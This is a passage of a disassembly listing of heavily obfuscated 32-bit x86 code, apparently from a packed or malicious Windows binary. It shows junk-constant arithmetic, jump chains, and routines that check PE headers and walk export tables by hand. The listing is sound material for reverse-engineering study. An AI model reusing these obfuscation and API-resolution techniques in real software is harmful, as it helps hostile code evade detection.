--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_423E36: ; CODE XREF: sub_42325E+511Dj add eax, 5343FABBh sub eax, 544AEFF2h xor eax, 0B530F9FEh add eax, 3B007B8Dh mov eax, [eax] or eax, eax jnz loc_423283 jmp loc_4276F7 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- cmp esi, ebx jmp loc_4266BE ; =============== S U B R O U T I N E ======================================= sub_423E64 proc near ; CODE XREF: sub_4251EB-1F0Bp ; hjohnhn9:00425FF9j ; FUNCTION CHUNK AT 004239A2 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00423CF0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004272D3 SIZE 00000007 BYTES xchg ebx, [esp+0] pop ebx add eax, 0FF7FCF00h or eax, eax jz loc_4239D3 jmp loc_423CF0 sub_423E64 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425EEA loc_423E7B: ; CODE XREF: sub_425EEA+Bj call sub_425E49 loc_423E80: ; CODE XREF: sub_424631:loc_428567j mov eax, [ebp+8] push offset loc_424996 jmp nullsub_16 ; END OF FUNCTION CHUNK FOR sub_425EEA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F5A loc_423E8D: ; CODE XREF: sub_426F5A+3E6j or esi, edx loc_423E8F: ; CODE XREF: hjohnhn9:loc_427160j add edx, 0A2D9B284h xor ebx, 802191BEh loc_423E9B: ; CODE XREF: sub_426F5A:loc_42513Cj call sub_424877 mov edx, 0F2B89A19h call sub_4279ED jmp loc_42365D ; END OF FUNCTION CHUNK FOR sub_426F5A ; --------------------------------------------------------------------------- ror edx, 14h jmp sub_427B51 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4249E1 loc_423EB7: ; CODE XREF: sub_4249E1+Cj mov eax, [ebp-14h] push eax push esi call sub_427345 ; END OF FUNCTION CHUNK FOR sub_4249E1 ; START OF FUNCTION CHUNK FOR sub_426CE6 loc_423EC1: ; CODE XREF: sub_426CE6+Aj jmp loc_4283E0 ; END OF FUNCTION CHUNK FOR sub_426CE6 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_125. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_423EC7: ; CODE XREF: sub_424819+46C0j jmp loc_42488B ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_423ECC: ; CODE XREF: sub_424161:loc_424F86j pop ecx push offset loc_423C8D jmp loc_4288F8 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_423ED7: ; CODE XREF: sub_424631:loc_426E35j shl eax, 3 mov edx, [ebp+8] jmp loc_425164 ; --------------------------------------------------------------------------- loc_423EE2: ; CODE XREF: sub_424631:loc_426619j cmp dword ptr [ebp-10h], 0 jnz loc_42516C mov eax, [ebp+8] jmp loc_42729D ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D99 loc_423EF4: ; CODE XREF: sub_424D99-1170j jno loc_424EEC loc_423EFA: ; CODE XREF: sub_424D99:loc_423C1Aj xor ebx, 7AD55981h add ebx, 0DC898EAh call sub_428945 ; END OF FUNCTION CHUNK FOR sub_424D99 ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_423F0B: ; CODE XREF: sub_4262C5-2A16j jmp loc_423B1F ; END OF FUNCTION CHUNK FOR sub_4262C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A58 loc_423F10: ; CODE XREF: sub_427A58+Cj call sub_42774F loc_423F15: ; CODE XREF: sub_427E85:loc_426E75j push eax call sub_427A36 call sub_4278B9 locret_423F20: ; CODE XREF: hjohnhn9:loc_425D6Aj retn ; END OF FUNCTION CHUNK FOR sub_427A58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_423F21: ; CODE XREF: sub_425BD2:loc_424517j not esi jnb loc_426EFE js loc_425E20 ror ebp, 17h jge loc_4263A0 jmp loc_427951 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_423F3D: ; CODE XREF: hjohnhn9:0042499Dj ; sub_427D9D-18D3j ... mov eax, [ebp-4] call sub_424B30 loc_423F45: ; CODE XREF: sub_4238CC+2748j push 517EEA18h pop eax add eax, 86BC7F46h rol eax, 1Fh add eax, 0B296A58h xor eax, 770F05C3h jmp loc_427970 ; END OF FUNCTION CHUNK FOR sub_424631 ; =============== S U B R O U T I N E ======================================= sub_423F65 proc near ; DATA XREF: sub_42304F:loc_428AA2o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424A92 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424F8B SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00425220 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004252A4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426C64 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427550 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004275EE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428287 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00428BF7 SIZE 00000010 BYTES call sub_424A28 test al, al jz loc_425220 jmp loc_4275EE sub_423F65 endp ; =============== S U B R O U T I N E ======================================= sub_423F77 proc near ; CODE XREF: sub_424698+1p ; hjohnhn9:00426A6Bj ; FUNCTION CHUNK AT 00423F91 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426B0E SIZE 00000005 BYTES xchg edx, [esp+0] pop edx mov ebp, esp add esp, 0FFFFFFECh jmp loc_426B0E sub_423F77 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_98. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_423F86: ; CODE XREF: sub_424161+2B2Fj adc edx, 0AEB1EF27h jmp sub_423B84 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F77 loc_423F91: ; CODE XREF: sub_423F77:loc_426B0Ej push offset loc_425257 jmp nullsub_23 ; END OF FUNCTION CHUNK FOR sub_423F77 ; --------------------------------------------------------------------------- db 0Fh ; --------------------------------------------------------------------------- mov ch, [edi] add es:[eax], al jmp sub_425D27 ; --------------------------------------------------------------------------- loc_423FA6: ; CODE XREF: hjohnhn9:00428FC7j xchg esi, [esp] pop esi call sub_424AE3 jmp loc_4231DA ; --------------------------------------------------------------------------- jmp locret_424ADD ; =============== S U B R O U T I N E ======================================= sub_423FB9 proc near ; CODE XREF: hjohnhn9:00425C78j ; sub_423444:loc_4270EEj ... ; FUNCTION CHUNK AT 004234D3 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx add eax, 4622B2B0h push offset loc_428B71 jmp loc_4234D3 sub_423FB9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426671 loc_423FCD: ; CODE XREF: sub_426671-351j and ebp, 0D2F88BF4h loc_423FD3: ; CODE XREF: sub_426671:loc_427895j call sub_424877 push 2F846F14h pop edx add edx, 0ADE8F686h jmp loc_42316A ; END OF FUNCTION CHUNK FOR sub_426671 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A78 loc_423FE9: ; CODE XREF: sub_424A78:loc_4242DEj push 74F9BCB9h pop esi sub esi, 0A4C08EC8h xor esi, 7E616109h add eax, esi jmp loc_427984 ; END OF FUNCTION CHUNK FOR sub_424A78 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D99 loc_424003: ; CODE XREF: sub_424D99+12j jmp loc_423C1A ; END OF FUNCTION CHUNK FOR sub_424D99 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_424008: ; CODE XREF: sub_42466E-AB0j jz loc_427947 jmp loc_424542 ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_424013: ; CODE XREF: sub_424819:loc_4282C4j xchg esi, [esp+0] push 8B98A8E8h xchg esi, [esp+4+var_4] mov ebx, esi pop esi and ebx, 0F5022639h jmp loc_423C02 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_42402C: ; CODE XREF: sub_42466E-121j jnz loc_42857C cdq loc_424033: ; CODE XREF: sub_42466E:loc_423BB8j push edx push 0E7131BE6h jmp loc_427BEE ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265CD loc_42403E: ; CODE XREF: sub_4265CD-1E7Bj ; hjohnhn9:004261FBj popf jno loc_42888D loc_424045: ; CODE XREF: sub_4265CD-1E89j sub eax, 74CBAB60h or eax, 724E4ED9h jmp loc_427A9C ; END OF FUNCTION CHUNK FOR sub_4265CD ; --------------------------------------------------------------------------- loc_424056: ; DATA XREF: sub_423F65+4C98o add eax, 0D7B18CA1h ; START OF FUNCTION CHUNK FOR sub_424161 loc_42405C: ; CODE XREF: sub_424161:loc_4271FDj xchg eax, [esp+0] jmp loc_424521 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427852 loc_424064: ; CODE XREF: sub_427852:loc_42823Fj mov eax, [eax+24h] loc_424067: ; CODE XREF: sub_42363F+3E5Aj add eax, [ebp-4] xor edx, edx push edx push eax jmp loc_4242E8 ; END OF FUNCTION CHUNK FOR sub_427852 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428271 loc_424073: ; CODE XREF: sub_428271-16EDj add eax, [esp+0] jmp loc_42350B ; END OF FUNCTION CHUNK FOR sub_428271 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_42407B: ; CODE XREF: sub_423CDB:loc_427449j shr edx, 5 sbb ecx, 0CB4525A9h jmp loc_427B9C ; END OF FUNCTION CHUNK FOR sub_423CDB ; --------------------------------------------------------------------------- loc_424089: ; CODE XREF: hjohnhn9:00423490j push offset loc_423302 jmp locret_428297 ; --------------------------------------------------------------------------- shl edx, 4 jmp sub_426671 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_42409B: ; CODE XREF: sub_4260BD-23FEj jl loc_42833C mov esi, eax jns loc_4234D3 jmp loc_428337 ; END OF FUNCTION CHUNK FOR sub_4260BD ; =============== S U B R O U T I N E ======================================= sub_4240AE proc near ; DATA XREF: sub_427345-3DBEo var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00426DBA SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042769B SIZE 0000001A BYTES mov eax, [ebp-4] push edx mov edx, eax xchg edx, [esp+4+var_4] jmp loc_426DBA sub_4240AE endp ; =============== S U B R O U T I N E ======================================= sub_4240BC proc near ; CODE XREF: sub_428357-508Cp ; hjohnhn9:00428E34j ; FUNCTION CHUNK AT 004234AC SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx mov eax, [ebp-8] loc_4240C3: ; CODE XREF: hjohnhn9:00426ACCj shl eax, 0Fh add [ebp-8], eax mov eax, [ebp-8] mov esp, ebp pop ebp jmp loc_4234AC sub_4240BC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CB3 loc_4240D4: ; CODE XREF: sub_425CB3:loc_4232E6j xchg ecx, [esp+0] push 0 call sub_4270CF push eax mov eax, esp jmp loc_4244B2 ; END OF FUNCTION CHUNK FOR sub_425CB3 ; =============== S U B R O U T I N E ======================================= sub_4240E6 proc near ; CODE XREF: hjohnhn9:0042430Ap ; hjohnhn9:00426CFDj ; FUNCTION CHUNK AT 0042744E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00428AFF SIZE 00000005 BYTES xchg edx, [esp+0] pop edx cmp ds:dword_426E3C, 0 jnz loc_427FBF lea edx, [ebp-14h] jmp loc_428AFF sub_4240E6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4240FF: ; CODE XREF: hjohnhn9:00428ADEj jo loc_428F8E add edi, eax jmp loc_42476D ; --------------------------------------------------------------------------- loc_42410C: ; CODE XREF: hjohnhn9:00423478j add eax, 28h mov [ebp-4], eax jmp loc_4266B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269BD loc_424117: ; CODE XREF: sub_4269BD+17j mov eax, [ebp-20h] movzx eax, byte ptr [eax] push offset loc_427C74 jmp loc_4266AB ; END OF FUNCTION CHUNK FOR sub_4269BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427E54 loc_424127: ; CODE XREF: sub_427E54+11j mov edx, [ebp-14h] mov edx, [edx+1Ch] add edx, [ebp-4] add eax, edx mov eax, [eax] jmp loc_423E31 ; END OF FUNCTION CHUNK FOR sub_427E54 ; --------------------------------------------------------------------------- js loc_427FB5 push ecx jmp sub_427345 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42345B loc_424145: ; CODE XREF: sub_42345B+544Dj add ecx, 0E02DF608h xchg ecx, [esp+4+var_4] jmp loc_426B55 ; END OF FUNCTION CHUNK FOR sub_42345B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_424153: ; CODE XREF: sub_424698-D92j jz loc_4261D5 jmp loc_4241A5 ; END OF FUNCTION CHUNK FOR sub_424698 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423D1C loc_42415E: ; CODE XREF: sub_423D1C+10j ror edi, 1Ch ; END OF FUNCTION CHUNK FOR sub_423D1C ; =============== S U B R O U T I N E ======================================= sub_424161 proc near ; CODE XREF: sub_424A78:loc_4242D9p var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042312B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004231F0 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004234B1 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00423B50 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00423C90 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00423CC4 SIZE 00000004 BYTES ; FUNCTION CHUNK AT 00423ECC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00423F86 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042405C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00424521 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042457E SIZE 0000002E BYTES ; FUNCTION CHUNK AT 00424D68 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424F86 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004251B2 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00425BB8 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00426054 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00426655 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00426C7F SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00426E7A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004271FD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004279DE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427BE6 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004284ED SIZE 0000001D BYTES ; FUNCTION CHUNK AT 004285C1 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 004288F8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429022 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax jno loc_4285C1 test byte ptr [ebp-8], 40h jz loc_423C90 push ebp jmp loc_427BE6 sub_424161 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42417B: ; CODE XREF: hjohnhn9:00426736j jns loc_426C3C ; =============== S U B R O U T I N E ======================================= sub_424181 proc near ; CODE XREF: sub_426098+Cp ; FUNCTION CHUNK AT 004283C4 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx mov [ebp-4], eax jmp loc_4283C4 sub_424181 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427E85 loc_42418D: ; CODE XREF: sub_427E85+10j push eax call sub_427A36 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jnz loc_423415 call sub_4242A0 ; END OF FUNCTION CHUNK FOR sub_427E85 ; START OF FUNCTION CHUNK FOR sub_424698 loc_4241A5: ; CODE XREF: sub_424698-53Fj jmp loc_428BE8 ; END OF FUNCTION CHUNK FOR sub_424698 ; --------------------------------------------------------------------------- loc_4241AA: ; CODE XREF: hjohnhn9:00426E2Fj push 87A17FD1h pop esi xor esi, 8FC8532Bh rol esi, 13h jmp loc_428B6C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_4241BE: ; CODE XREF: sub_423BC3:loc_425F6Ej mov eax, edi pop edi and eax, 986F907Ch test eax, 10h jmp loc_427A7E ; END OF FUNCTION CHUNK FOR sub_423BC3 ; =============== S U B R O U T I N E ======================================= sub_4241D2 proc near ; CODE XREF: sub_427B51+17j ; FUNCTION CHUNK AT 004242D6 SIZE 00000003 BYTES push ebp mov eax, [ebp-20h] call sub_428162 loc_4241DB: ; CODE XREF: sub_427FCE+Aj jmp loc_4242D6 sub_4241D2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4241E0: ; CODE XREF: hjohnhn9:004242FBj push ebp ; =============== S U B R O U T I N E ======================================= sub_4241E1 proc near ; CODE XREF: sub_425D47+9p ; FUNCTION CHUNK AT 0042310F SIZE 00000005 BYTES xchg edi, [esp+0] pop edi add [ebp-8], eax push offset sub_423921 jmp loc_42310F sub_4241E1 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_127. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4241F3 proc near ; CODE XREF: sub_4244F5+18p ; hjohnhn9:00428299j xchg esi, [esp+0] pop esi add eax, [ebp-4] call sub_427F90 cmp eax, [ebp-8] call sub_4290CF locret_424207: ; CODE XREF: sub_42859A-D0Aj retn sub_4241F3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_424208: ; CODE XREF: sub_427C9B+79j jmp loc_428E0C ; END OF FUNCTION CHUNK FOR sub_427C9B ; =============== S U B R O U T I N E ======================================= sub_42420D proc near ; DATA XREF: sub_42325E+5CC4o pop esi mov word ptr [eax], 205Dh call sub_424335 sub_42420D endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42304F loc_424218: ; CODE XREF: sub_42304F:loc_4260B8j mov ecx, [ebx+3Ch] mov ecx, [ebx+ecx+78h] or ecx, ecx jz loc_4273B2 mov ecx, [ebx+ecx+0Ch] or ecx, ecx jz loc_4273B2 jmp loc_428079 ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244F5 loc_424238: ; CODE XREF: sub_4244F5:loc_424512j jl loc_424B00 xchg ebx, [eax] sbb ebx, 0E185253Bh jmp loc_424AF9 ; END OF FUNCTION CHUNK FOR sub_4244F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_42424B: ; CODE XREF: sub_42466E:loc_427DC7j jl loc_426433 ; END OF FUNCTION CHUNK FOR sub_42466E ; START OF FUNCTION CHUNK FOR sub_427AC0 loc_424251: ; CODE XREF: sub_427AC0-1714j jmp loc_42390C ; END OF FUNCTION CHUNK FOR sub_427AC0 ; --------------------------------------------------------------------------- adc edx, 0F4D044CAh jmp loc_42642D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_424261: ; CODE XREF: sub_42325E+3EFDj call sub_427AC0 ; END OF FUNCTION CHUNK FOR sub_42325E ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_424266: ; CODE XREF: sub_425BD2+134Dj jmp loc_4286F1 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- loc_42426B: ; CODE XREF: hjohnhn9:00423DF1j jl loc_423D06 or edi, 0C113892Dh jmp loc_423CFC ; --------------------------------------------------------------------------- push offset sub_423D1C jmp loc_423B39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D64 loc_424286: ; CODE XREF: sub_428D64-20j mov cl, [ebp-0Bh] xor edx, edx mov dl, [ebp-9] shr edx, cl jmp loc_42876C ; END OF FUNCTION CHUNK FOR sub_428D64 ; --------------------------------------------------------------------------- and ebp, eax jmp loc_42429D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_113. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42429D: ; CODE XREF: hjohnhn9:00424297j shl ecx, 0Ah ; =============== S U B R O U T I N E ======================================= sub_4242A0 proc near ; CODE XREF: sub_427E85-3CE5p ; FUNCTION CHUNK AT 00427877 SIZE 0000000A BYTES xchg ebx, [esp+0] pop ebx lea eax, [ebp-125h] jmp loc_427877 sub_4242A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4242AF: ; DATA XREF: sub_4285DF+2o push 0AFEC22B3h pop ebx and ebx, 5A0EB2A0h add ebx, 1C34A6B3h jmp loc_4271AE ; --------------------------------------------------------------------------- loc_4242C6: ; CODE XREF: hjohnhn9:loc_42327Ej cmp word ptr [eax], 5A4Dh jnz loc_42476D jmp loc_428414 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4241D2 loc_4242D6: ; CODE XREF: sub_4241D2:loc_4241DBj mov [ebp-20h], eax ; END OF FUNCTION CHUNK FOR sub_4241D2 ; START OF FUNCTION CHUNK FOR sub_424A78 loc_4242D9: ; CODE XREF: sub_42626F:loc_42302Cj ; sub_424A78+1A7j ... call sub_424161 loc_4242DE: ; CODE XREF: sub_428CAF-1C54j jmp loc_423FE9 ; END OF FUNCTION CHUNK FOR sub_424A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_4242E3: ; CODE XREF: sub_424819+15Dj jmp nullsub_91 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427852 loc_4242E8: ; CODE XREF: sub_427852-37E4j jmp loc_428DDF ; END OF FUNCTION CHUNK FOR sub_427852 ; --------------------------------------------------------------------------- push ebp mov ebp, eax xchg ebp, [esp] push ecx jmp loc_4245DF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_82. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- cdq jmp loc_4241E0 ; --------------------------------------------------------------------------- loc_424300: ; DATA XREF: sub_424877-222o mov eax, offset dword_425AEC call sub_427C43 call sub_4240E6 loc_42430F: ; CODE XREF: hjohnhn9:00428CFBj jmp loc_42783E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_424314: ; CODE XREF: sub_424631:loc_426650j mov eax, [ebp+8] mov eax, [eax-10h] and eax, 7 mov [ebp-14h], eax cmp dword ptr [ebp-10h], 3 jnb loc_424F28 jmp loc_4277A2 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- loc_42432F: ; CODE XREF: hjohnhn9:00423B33j jns loc_426D35 ; =============== S U B R O U T I N E ======================================= sub_424335 proc near ; CODE XREF: sub_42420D+6p ; FUNCTION CHUNK AT 00425147 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00428723 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi call sub_424AAE push eax pop edx jmp loc_428723 sub_424335 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_424345 proc near ; CODE XREF: hjohnhn9:00426E81j ; sub_427C9B+38p xchg esi, [esp+0] pop esi call sub_424354 retn sub_424345 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278EC loc_42434F: ; CODE XREF: sub_4278EC-4D5j jmp nullsub_43 ; END OF FUNCTION CHUNK FOR sub_4278EC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424354 proc near ; CODE XREF: sub_424345+4p push ebp mov ebp, esp push offset sub_4251D3 jmp nullsub_119 sub_424354 endp ; =============== S U B R O U T I N E ======================================= sub_424361 proc near ; CODE XREF: sub_427032+E18p ; hjohnhn9:004290B5j ; FUNCTION CHUNK AT 0042702D SIZE 00000005 BYTES xchg edi, [esp+0] pop edi mov edx, [ebp-8] mov eax, [ebp-4] call nullsub_3 pop ecx pop ecx jmp loc_42702D sub_424361 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_424377 proc near ; CODE XREF: sub_427AEB+3j ; FUNCTION CHUNK AT 00424E8A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042777F SIZE 00000011 BYTES add esp, 0FFFFFFF8h jmp loc_424E8A sub_424377 endp ; --------------------------------------------------------------------------- add eax, 8E0D00EBh jmp sub_424D25 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278DC loc_42438A: ; CODE XREF: sub_4278DC-277Dj push esi push 0CBBD7B78h pop esi rol esi, 0Bh and esi, 62155165h jmp loc_42809A ; END OF FUNCTION CHUNK FOR sub_4278DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244F5 loc_42439F: ; CODE XREF: sub_4244F5:loc_4290DFj call sub_427F90 cmp eax, [ebp-8] jnz loc_426F70 mov eax, [ebp-14h] mov eax, [eax+24h] add eax, [ebp-4] xor edx, edx jmp loc_4274F7 ; END OF FUNCTION CHUNK FOR sub_4244F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42345B loc_4243BD: ; CODE XREF: sub_42345B:loc_426FCFj mov ebp, esp push edi push 0C7AA9249h xchg eax, [esp+0Ch+var_C] jmp loc_428522 ; END OF FUNCTION CHUNK FOR sub_42345B ; --------------------------------------------------------------------------- cmp eax, edx jmp loc_426597 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4237F4 loc_4243D4: ; CODE XREF: sub_4237F4+125Cj or edi, ecx shr edi, 18h loc_4243D9: ; CODE XREF: hjohnhn9:loc_425EB4j ; sub_4237F4:loc_426B2Fj call sub_424877 mov edx, 19CFC62Bh call sub_4279ED call sub_426DFB loc_4243ED: ; CODE XREF: sub_424631+2276j jmp loc_4233E6 ; END OF FUNCTION CHUNK FOR sub_4237F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_4243F2: ; CODE XREF: sub_42304F:loc_426833j ; sub_427810:loc_42781Aj mov eax, ebx pop ecx pop ebx retn ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278EC loc_4243F7: ; CODE XREF: sub_4278EC:loc_427D42j ; sub_4278EC+5CCj mov eax, ds:dword_423944 mov al, [eax] sub al, 99h jmp loc_42740A ; END OF FUNCTION CHUNK FOR sub_4278EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424831 loc_424405: ; CODE XREF: sub_424831:loc_4276B6j add esi, 25EFCEBCh mov [esi], eax pop esi retn ; END OF FUNCTION CHUNK FOR sub_424831 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427F90 loc_42440F: ; CODE XREF: sub_427F90+FF9j jmp loc_428496 ; END OF FUNCTION CHUNK FOR sub_427F90 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_424414: ; CODE XREF: sub_423B05+Fj rol eax, 11h push eax jmp loc_424B3F ; END OF FUNCTION CHUNK FOR sub_423B05 ; =============== S U B R O U T I N E ======================================= sub_42441D proc near ; CODE XREF: hjohnhn9:00424C07j ; sub_425029+3976p ; FUNCTION CHUNK AT 00423031 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042674F SIZE 00000013 BYTES xchg eax, [esp+0] pop eax jnz loc_423031 mov eax, [ebp-8] jmp loc_42674F sub_42441D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42442F proc near ; DATA XREF: sub_426A78:loc_42377Bo var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424F52 SIZE 00000005 BYTES rol eax, 11h push ebp mov ebp, eax xchg ebp, [esp+4+var_4] call sub_4244F5 jmp loc_424F52 sub_42442F endp ; --------------------------------------------------------------------------- test ebx, eax jmp loc_4280AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265CD loc_424449: ; CODE XREF: sub_4265CD-3090j jz sub_423AAF jmp loc_426B68 ; END OF FUNCTION CHUNK FOR sub_4265CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_424454: ; CODE XREF: sub_425BD2+3439j jz loc_428771 cmp ebx, edi jmp loc_42477C ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- jnp loc_4268A4 jmp loc_423C39 ; --------------------------------------------------------------------------- ; START OF FUNCTION 